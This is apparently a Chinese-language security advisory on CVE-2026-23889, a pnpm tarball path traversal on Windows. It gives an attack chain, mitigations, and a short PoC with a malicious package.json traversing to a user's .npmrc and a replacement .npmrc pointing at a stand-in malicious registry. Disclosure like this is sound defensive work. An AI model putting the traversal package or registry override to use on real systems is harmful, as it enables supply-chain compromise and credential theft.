IPBUF安全漏洞报告
English
CVE-2026-23889 CVSS 6.5 中危

CVE-2026-23889 pnpm Windows路径遍历漏洞允许覆盖任意文件

披露日期: 2026-01-26

漏洞信息

漏洞编号
CVE-2026-23889
漏洞类型
路径遍历
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
pnpm

相关标签

路径遍历Windowspnpmtarball提取供应链安全文件写入CVE-2026-23889

漏洞概述

CVE-2026-23889是pnpm包管理器在Windows平台上的一个路径遍历安全漏洞。该漏洞存在于pnpm的tarball提取功能中,攻击者可以通过恶意构造的npm包利用路径遍历技术将文件写入目标系统指定目录之外的位置。漏洞的根本原因在于pnpm的路径规范化逻辑仅检查了正斜杠相对路径(./),但未检查反斜杠相对路径(.\)。在Windows操作系统中,反斜杠被用作目录分隔符,因此攻击者可以使用类似.\..\..\的路径构造方式逃逸出包的安装目录。此漏洞影响所有使用pnpm在Windows平台上安装包的用户和CI/CD流水线,包括GitHub Actions的Windows运行器和Azure DevOps环境。攻击者可能利用此漏洞覆盖系统中的重要配置文件,如.npmrc、构建脚本或其他敏感文件,从而可能导致供应链攻击或权限提升。pnpm官方已在版本10.28.1中修复了此漏洞,建议所有Windows用户尽快升级。

技术细节

该漏洞的技术原理涉及pnpm在解压tarball包时的路径验证机制不完善。当pnpm在Windows系统上提取npm包内容时,它会对包含正斜杠(/)的路径进行规范化处理,检查是否存在./等相对路径遍历模式,并阻止此类恶意路径。然而,相同的验证逻辑并未应用于包含反斜杠(\)的路径模式。在Windows系统中,.\test\..\..\etc\passwd这样的路径可以被正确解析为C:\etc\passwd,从而实现目录遍历攻击。攻击者只需创建一个包含恶意路径条目的package.tar文件,通过npm publish发布到包仓库。当受害者在Windows上使用pnpm安装该包时,恶意文件就会被写入到包目录之外的位置。这种攻击方式特别危险,因为它可以覆盖.npmrc等配置文件,可能导致后续安装操作执行攻击者控制的代码。漏洞的利用条件相对简单,无需特殊权限,只需要诱导用户安装一个恶意的npm包即可。

攻击链分析

STEP 1
步骤1
攻击者创建一个包含恶意路径条目的npm包,在package.json的files字段中使用Windows路径遍历语法如.\\..\\..\\路径
STEP 2
步骤2
攻击者将恶意包发布到npm仓库或其他包注册表
STEP 3
步骤3
受害者在Windows系统上使用pnpm install命令安装该恶意包
STEP 4
步骤4
pnpm在解压tarball时未正确验证反斜杠路径遍历,提取文件到包目录之外的指定位置
STEP 5
步骤5
恶意文件被写入目标系统,可能覆盖.npmrc、构建脚本或其他敏感文件
STEP 6
步骤6
攻击者通过被篡改的配置文件实现供应链攻击,如窃取凭据或执行恶意代码

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2026-23889 PoC - Malicious package with path traversal // This PoC demonstrates how a malicious pnpm package can write files outside the package directory on Windows // Step 1: Create a malicious package.json with path traversal in files field const maliciousPackage = { name: "malicious-pnpm-poc", version: "1.0.0", description: "PoC for CVE-2026-23889 path traversal", files: [ ".\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\Users\\test\\.npmrc" ] }; // Step 2: The malicious file content that will be written // When pnpm extracts this package, it will write to the path traversal target const maliciousNpmrc = ` registry=https://malicious-registry.com _auth=ATTACKER_CREDENTIALS `; // Step 3: Exploitation scenario // 1. Attacker creates a package with malicious paths in package.json files array // 2. Attacker publishes package to npm registry // 3. Victim runs 'pnpm install malicious-pnpm-poc' on Windows // 4. pnpm extracts package and writes malicious .npmrc to user's home directory // 5. Subsequent npm/pnpm operations use the malicious registry // Alternative: Direct tarball manipulation // Create a tarball with paths like: ".\\..\\..\\etc\\malicious" // When extracted by pnpm on Windows, files are written outside the package directory

影响范围

pnpm < 10.28.1

防御指南

临时缓解措施
在官方补丁发布之前,Windows用户应避免使用pnpm安装来自不可信来源的npm包。对于必须安装未知包的情况,建议先在隔离环境(如容器)中测试,并检查package.json中的files和bin字段是否存在异常路径。CI/CD流水线应配置为仅使用经过审核的包版本,并考虑使用--ignore-scripts标志阻止自动脚本执行。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表